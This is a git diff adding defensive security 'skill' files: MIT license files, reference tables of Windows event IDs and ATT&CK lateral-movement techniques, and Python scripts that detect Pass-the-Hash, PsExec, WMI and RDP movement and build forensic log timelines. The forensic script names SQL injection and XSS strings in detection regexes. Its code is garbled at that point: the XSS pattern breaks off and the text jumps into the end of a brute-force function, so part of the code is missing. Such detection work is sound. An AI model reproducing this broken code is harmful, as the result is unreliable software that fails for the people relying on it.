00000000..27f5a0fe --- /dev/null +++ b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-kubernetes-etcd-security-assessment/LICENSE b/skills/performing-kubernetes-etcd-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-kubernetes-etcd-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-kubernetes-penetration-testing/LICENSE b/skills/performing-kubernetes-penetration-testing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-kubernetes-penetration-testing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-lateral-movement-detection/LICENSE b/skills/performing-lateral-movement-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-lateral-movement-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-lateral-movement-detection/references/api-reference.md b/skills/performing-lateral-movement-detection/references/api-reference.md new file mode 100644 index 00000000..fe9e69a8 --- /dev/null +++ b/skills/performing-lateral-movement-detection/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Lateral Movement Detection + +## Windows Event Log IDs + +| Event ID | Source | Description | +|----------|--------|-------------| +| 4624 | Security | Successful logon (Logon_Type 3=network, 10=RDP) | +| 4625 | Security | Failed logon attempt | +| 4648 | Security | Explicit credential logon (runas) | +| 4672 | Security | Special privileges assigned (admin logon) | +| 4769 | Security | Kerberos TGS request (Pass-the-Ticket) | +| 5140 | Security | Network share access (C$, ADMIN$, IPC$) | +| 7045 | System | New service installed (PsExec) | + +## Sysmon Event Codes + +| Event Code | Description | +|------------|-------------| +| 1 | Process creation with command line | +| 3 | Network connection | +| 10 | Process access (LSASS credential dumping) | +| 17/18 | Named pipe created/connected (PsExec) | + +## MITRE ATT&CK Techniques (TA0008) + +| Technique | ID | Detection Signal | +|-----------|----|-----------------| +| Pass-the-Hash | T1550.002 | NTLM Type 3 logon to multiple hosts | +| PsExec | T1021.002 | PSEXESVC service creation + named pipe | +| WMI Execution | T1047 | WmiPrvSE spawning cmd/powershell | +| RDP | T1021.001 | Logon_Type 10 to multiple targets | +| SMB Admin Share | T1021.002 | EventCode 5140 on C$/ADMIN$ | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `csv` | stdlib | Parse exported Windows event logs | +| `json` | stdlib | Report output generation | +| `collections` | stdlib | Event aggregation and counting | + +## References + +- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/ +- Splunk Security Essentials: https://splunkbase.splunk.com/app/3435 +- Sigma rules (lateral movement): https://github.com/SigmaHQ/sigma +- Microsoft Defender for Identity: https://learn.microsoft.com/en-us/defender-for-identity/ diff --git a/skills/performing-lateral-movement-detection/scripts/agent.py b/skills/performing-lateral-movement-detection/scripts/agent.py new file mode 100644 index 00000000..a60afc55 --- /dev/null +++ b/skills/performing-lateral-movement-detection/scripts/agent.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""Agent for performing lateral movement detection. + +Analyzes Windows event logs and network flow data to detect +Pass-the-Hash, PsExec, WMI, RDP, and SMB-based lateral movement +mapped to MITRE ATT&CK TA0008 techniques. +""" + +import json +import sys +import csv +import re +from collections import defaultdict +from datetime import datetime +from pathlib import Path + + +class LateralMovementDetector: + """Detects lateral movement patterns from log data.""" + + def __init__(self, output_dir): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.auth_events = [] + self.process_events = [] + self.network_flows = [] + + def load_auth_events(self, csv_path): + """Load Windows authentication events (4624, 4625, 4648, 4672).""" + with open(csv_path, "r") as f: + for row in csv.DictReader(f): + self.auth_events.append(row) + + def load_process_events(self, csv_path): + """Load Sysmon process creation events (EventCode 1).""" + with open(csv_path, "r") as f: + for row in csv.DictReader(f): + self.process_events.append(row) + + def load_network_flows(self, csv_path): + """Load network flow data (NetFlow/Zeek).""" + with open(csv_path, "r") as f: + for row in csv.DictReader(f): + self.network_flows.append(row) + + def detect_pass_the_hash(self): + """Detect Pass-the-Hash via NTLM Type 3 logons to multiple hosts.""" + ntlm_logons = defaultdict(lambda: {"targets": set(), "count": 0, "events": []}) + + for event in self.auth_events: + if (event.get("EventCode") == "4624" and + event.get("Logon_Type") == "3" and + event.get("AuthenticationPackageName", "").upper() == "NTLM"): + user = event.get("TargetUserName", "") + src = event.get("src_ip", event.get("IpAddress", "")) + target = event.get("ComputerName", "") + if user and not user.endswith("$") and user != "ANONYMOUS LOGON": + key = f"{src}|{user}" + ntlm_logons[key]["targets"].add(target) + ntlm_logons[key]["count"] += 1 + ntlm_logons[key]["events"].append(event) + + findings = [] + for key, data in ntlm_logons.items(): + if len(data["targets"]) > 3: + src_ip, user = key.split("|", 1) + findings.append({ + "technique": "T1550.002", + "name": "Pass-the-Hash", + "src_ip": src_ip, + "user": user, + "unique_targets": len(data["targets"]), + "total_logons": data["count"], + "targets": sorted(data["targets"]), + }) + return findings + + def detect_psexec(self): + """Detect PsExec execution via process creation and service events.""" + findings = [] + for event in self.process_events: + image = event.get("Image", "").lower() + parent = event.get("ParentImage", "").lower() + if "psexec" in image or "psexesvc" in image or "psexesvc" in parent: + findings.append({ + "technique": "T1021.002", + "name": "PsExec Execution", + "computer": event.get("Computer", ""), + "user": event.get("User", ""), + "image": event.get("Image", ""), + "parent": event.get("ParentImage", ""), + "cmdline": event.get("CommandLine", ""), + "timestamp": event.get("timestamp", event.get("UtcTime", "")), + }) + return findings + + def detect_wmi_execution(self): + """Detect WMI remote execution via WmiPrvSE child processes.""" + findings = [] + for event in self.process_events: + parent = event.get("ParentImage", "").lower() + image = event.get("Image", "").lower() + if "wmiprvse" in parent and ("cmd.exe" in image or "powershell" in image): + findings.append({ + "technique": "T1047", + "name": "WMI Remote Execution", + "computer": event.get("Computer", ""), + "user": event.get("User", ""), + "image": event.get("Image", ""), + "cmdline": event.get("CommandLine", ""), + "timestamp": event.get("timestamp", ""), + }) + return findings + + def detect_rdp_lateral(self): + """Detect RDP lateral movement via Logon_Type 10.""" + rdp_sessions = defaultdict(lambda: {"targets": set(), "count": 0}) + for event in self.auth_events: + if event.get("EventCode") == "4624" and event.get("Logon_Type") == "10": + src = event.get("src_ip", event.get("IpAddress", "")) + user = event.get("TargetUserName", "") + target = event.get("ComputerName", "") + key = f"{src}|{user}" + rdp_sessions[key]["targets"].add(target) + rdp_sessions[key]["count"] += 1 + + findings = [] + for key, data in rdp_sessions.items(): + if len(data["targets"]) > 2: + src_ip, user = key.split("|", 1) + findings.append({ + "technique": "T1021.001", + "name": "RDP Lateral Movement", + "src_ip": src_ip, + "user": user, + "unique_targets": len(data["targets"]), + "targets": sorted(data["targets"]), + }) + return findings + + def detect_smb_scanning(self): + """Detect mass SMB connections indicating lateral movement.""" + smb_sources = defaultdict(lambda: {"targets": set(), "bytes": 0}) + for flow in self.network_flows: + if flow.get("dest_port") == "445": + src = flow.get("src_ip", "") + dst = flow.get("dest_ip", "") + smb_sources[src]["targets"].add(dst) + smb_sources[src]["bytes"] += int(flow.get("bytes", 0)) + + findings = [] + for src, data in smb_sources.items(): + if len(data["targets"]) > 10: + findings.append({ + "technique": "T1021.002", + "name": "SMB Mass Connection", + "src_ip": src, + "unique_targets": len(data["targets"]), + "total_bytes": data["bytes"], + "severity": "CRITICAL" if len(data["targets"]) > 50 else "HIGH", + }) + return findings + + def build_movement_graph(self): + """Build a source->destination graph of lateral movement.""" + edges = defaultdict(int) + for event in self.auth_events: + if event.get("EventCode") == "4624" and event.get("Logon_Type") in ("3", "10"): + src = event.get("src_ip", event.get("IpAddress", "")) + dst = event.get("ComputerName", "") + user = event.get("TargetUserName", "") + if src and dst: + edges[f"{src} -> {dst} ({user})"] += 1 + return dict(sorted(edges.items(), key=lambda x: x[1], reverse=True)[:50]) + + def generate_report(self): + """Run all detections and generate a comprehensive report.""" + report = { + "report_date": datetime.utcnow().isoformat(), + "detections": { + "pass_the_hash": self.detect_pass_the_hash(), + "psexec": self.detect_psexec(), + "wmi_execution": self.detect_wmi_execution(), + "rdp_lateral": self.detect_rdp_lateral(), + "smb_scanning": self.detect_smb_scanning(), + }, + "movement_graph": self.build_movement_graph(), + } + + total_findings = sum(len(v) for v in report["detections"].values()) + report["summary"] = { + "total_findings": total_findings, + "techniques_detected": [k for k, v in report["detections"].items() if v], + } + + report_path = self.output_dir / "lateral_movement_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=list) + print(json.dumps(report, indent=2, default=list)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [process_csv] [flows_csv]") + sys.exit(1) + + auth_csv = sys.argv[1] + output_dir = sys.argv[2] + + detector = LateralMovementDetector(output_dir) + detector.load_auth_events(auth_csv) + if len(sys.argv) > 3: + detector.load_process_events(sys.argv[3]) + if len(sys.argv) > 4: + detector.load_network_flows(sys.argv[4]) + detector.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-lateral-movement-with-wmiexec/LICENSE b/skills/performing-lateral-movement-with-wmiexec/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-lateral-movement-with-wmiexec/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-linux-log-forensics-investigation/LICENSE b/skills/performing-linux-log-forensics-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-linux-log-forensics-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-log-analysis-for-forensic-investigation/LICENSE b/skills/performing-log-analysis-for-forensic-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-log-analysis-for-forensic-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md b/skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md new file mode 100644 index 00000000..00b00629 --- /dev/null +++ b/skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Log Analysis for Forensic Investigation + +## python-evtx Library + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + print(record.xml()) +``` + +## Key Windows Security Event IDs + +| Event ID | Description | Forensic Value | +|----------|-------------|----------------| +| 4624 | Successful logon | Track authentication patterns | +| 4625 | Failed logon | Brute force detection | +| 4648 | Explicit credentials | Lateral movement indicator | +| 4688 | Process creation | Command execution timeline | +| 4697 | Service installed | Persistence mechanism | +| 4698 | Scheduled task created | Persistence mechanism | +| 1102 | Audit log cleared | Anti-forensics detection | + +## Syslog Parsing + +| Log File | Content | Key Events | +|----------|---------|------------| +| `/var/log/auth.log` | SSH, sudo, su | Failed/successful SSH, privilege escalation | +| `/var/log/syslog` | General system | Service events, kernel messages | +| `/var/log/audit/audit.log` | auditd | File access, command execution | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `python-evtx` | >=0.7 | Windows EVTX event log parsing | +| `csv` | stdlib | Log data export and normalization | +| `re` | stdlib | Syslog and access log parsing | + +## CLI Tools + +| Tool | Command | Description | +|------|---------|-------------| +| evtxexport | `evtxexport Security.evtx` | Export EVTX to text | +| Chainsaw | `chainsaw hunt -s sigma/` | Sigma-based EVTX analysis | +| Hayabusa | `hayabusa csv-timeline -d ` | Fast EVTX timeline generator | + +## References + +- python-evtx: https://github.com/williballenthin/python-evtx +- Chainsaw: https://github.com/WithSecureLabs/chainsaw +- Hayabusa: https://github.com/Yamato-Security/hayabusa +- Sigma rules: https://github.com/SigmaHQ/sigma diff --git a/skills/performing-log-analysis-for-forensic-investigation/scripts/agent.py b/skills/performing-log-analysis-for-forensic-investigation/scripts/agent.py new file mode 100644 index 00000000..c0a5ad52 --- /dev/null +++ b/skills/performing-log-analysis-for-forensic-investigation/scripts/agent.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python3 +"""Agent for performing log analysis for forensic investigation. + +Parses Windows EVTX, Linux syslog, and web access logs to build +correlated forensic timelines for incident investigations. +""" + +import json +import sys +import csv +import re +from datetime import datetime +from collections import defaultdict +from pathlib import Path + + +class ForensicLogAnalyzer: + """Analyzes and correlates logs for forensic investigations.""" + + def __init__(self, case_id, output_dir): + self.case_id = case_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.events = [] + + def parse_evtx(self, evtx_path): + """Parse Windows EVTX event log files.""" + try: + import Evtx.Evtx as evtx + import xml.etree.ElementTree as ET + except ImportError: + print("Install python-evtx: pip install python-evtx") + return [] + + records = [] + target_ids = {"4624", "4625", "4648", "4672", "4688", "4697", "4698", "1102"} + + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + try: + root = ET.fromstring(record.xml()) + ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} + event_id = root.find(".//ns:EventID", ns).text + if event_id not in target_ids: + continue + time_elem = root.find(".//ns:TimeCreated", ns) + timestamp = time_elem.get("SystemTime") if time_elem is not None else "" + data_fields = {} + for data in root.findall(".//ns:Data", ns): + name = data.get("Name", "") + data_fields[name] = data.text or "" + + event = { + "timestamp": timestamp, + "source": "Windows-Security", + "event_id": event_id, + "computer": data_fields.get("Computer", ""), + "user": data_fields.get("TargetUserName", ""), + "details": data_fields, + } + records.append(event) + self.events.append(event) + except Exception: + continue + return records + + def parse_syslog(self, log_path): + """Parse Linux syslog/auth.log files.""" + records = [] + syslog_re = re.compile( + r"^(\w{3}\s+\d+\s+\d{2}:\d{2}:\d{2})\s+(\S+)\s+(\S+?)(?:\[\d+\])?:\s+(.*)" + ) + with open(log_path, "r", errors="ignore") as f: + for line in f: + match = syslog_re.match(line.strip()) + if match: + event = { + "timestamp": match.group(1), + "source": "Linux-Syslog", + "host": match.group(2), + "service": match.group(3), + "message": match.group(4), + } + records.append(event) + self.events.append(event) + return records + + def parse_web_access_log(self, log_path): + """Parse Apache/Nginx combined access log format.""" + records = [] + access_re = re.compile( + r'^(\S+)\s+\S+\s+\S+\s+\[([^\]]+)\]\s+"([^"]+)"\s+(\d{3})\s+(\d+)' + ) + with open(log_path, "r", errors="ignore") as f: + for line in f: + match = access_re.match(line.strip()) + if match: + event = { + "timestamp": match.group(2), + "source": "Web-Access", + "client_ip": match.group(1), + "request": match.group(3), + "status": match.group(4), + "size": match.group(5), + } + records.append(event) + self.events.append(event) + return records + + def detect_attack_patterns(self, web_events): + """Detect common web attack patterns in access logs.""" + patterns = { + "sql_injection": re.compile(r"(union.*select|or\s+1\s*=\s*1|drop\s+table)", re.I), + "xss": re.compile(r"( 5 + ] + + def detect_log_clearing(self): + """Detect audit log clearing events (anti-forensics).""" + return [ + event for event in self.events + if event.get("event_id") == "1102" + ] + + def build_correlated_timeline(self): + """Build a unified correlated timeline from all log sources.""" + sorted_events = sorted(self.events, key=lambda e: e.get("timestamp", "")) + return sorted_events + + def generate_forensic_report(self): + """Generate a comprehensive forensic log analysis report.""" + timeline = self.build_correlated_timeline() + brute_force = self.detect_brute_force() + log_clearing = self.detect_log_clearing() + + web_events = [e for e in self.events if e.get("source") == "Web-Access"] + attack_patterns = self.detect_attack_patterns(web_events) + + source_counts = defaultdict(int) + for event in self.events: + source_counts[event.get("source", "unknown")] += 1 + + report = { + "case_id": self.case_id, + "report_date": datetime.utcnow().isoformat(), + "total_events": len(self.events), + "source_breakdown": dict(source_counts), + "brute_force_detections": brute_force, + "log_clearing_events": log_clearing, + "web_attack_patterns": {k: len(v) for k, v in attack_patterns.items()}, + "timeline_entries": len(timeline), + } + + report_path = self.output_dir / f"{self.case_id}_log_analysis.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=list) + + timeline_path = self.output_dir / f"{self.case_id}_timeline.csv" + if timeline: + with open(timeline_path, "w", newline="") as f: + writer = csv.DictWriter(f, fieldnames=list(timeline[0].keys())) + writer.writeheader() + for event in timeline[:10000]: + writer.writerow({k: str(v)[:200] for k, v in event.items()}) + + print(json.dumps(report, indent=2, default=list)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [evtx_file] [syslog_file] [access_log]") + sys.exit(1) + + case_id = sys.argv[1] + output_dir = sys.argv[2] + analyzer = ForensicLogAnalyzer(case_id, output_dir) + + if len(sys.argv) > 3: + analyzer.parse_evtx(sys.argv[3]) + if len(sys.argv) > 4: + analyzer.parse_syslog(sys.argv[4]) + if len(sys.argv) > 5: + analyzer.parse_web_access_log(sys.argv[5]) + + analyzer.generate_forensic_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-log-source-onboarding-in-siem/LICENSE b/skills/performing-log-source-onboarding-in-siem/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-log-source-onboarding-in-siem/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE b/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-malware-ioc-extraction/LICENSE b/skills/performing-malware-ioc-extraction/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-malware-ioc-extraction/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-malware-persistence-investigation/LICENSE b/skills/performing-malware-persistence-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-malware-persistence-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-malware-persistence-investigation/references/api-reference.md b/skills/performing-malware-persistence-investigation/references/api-reference.md new file mode 100644 index 00000000..10403357 --- /dev/null +++ b/skills/performing-malware-persistence-investigation/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Malware Persistence Investigation + +## python-registry Library + +```python +from Registry import Registry +reg = Registry.Registry("SOFTWARE") +key = reg.open("Microsoft\\Windows\\CurrentVersion\\Run") +for value in key.values(): + print(f"{value.name()} -> {value.value()}") +``` + +## Key Windows Persistence Locations + +| Location | Type | Registry Path / Filesystem Path | +|----------|------|-------------------------------| +| Run Keys (HKLM) | Registry | `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` | +| Run Keys (HKCU) | Registry | 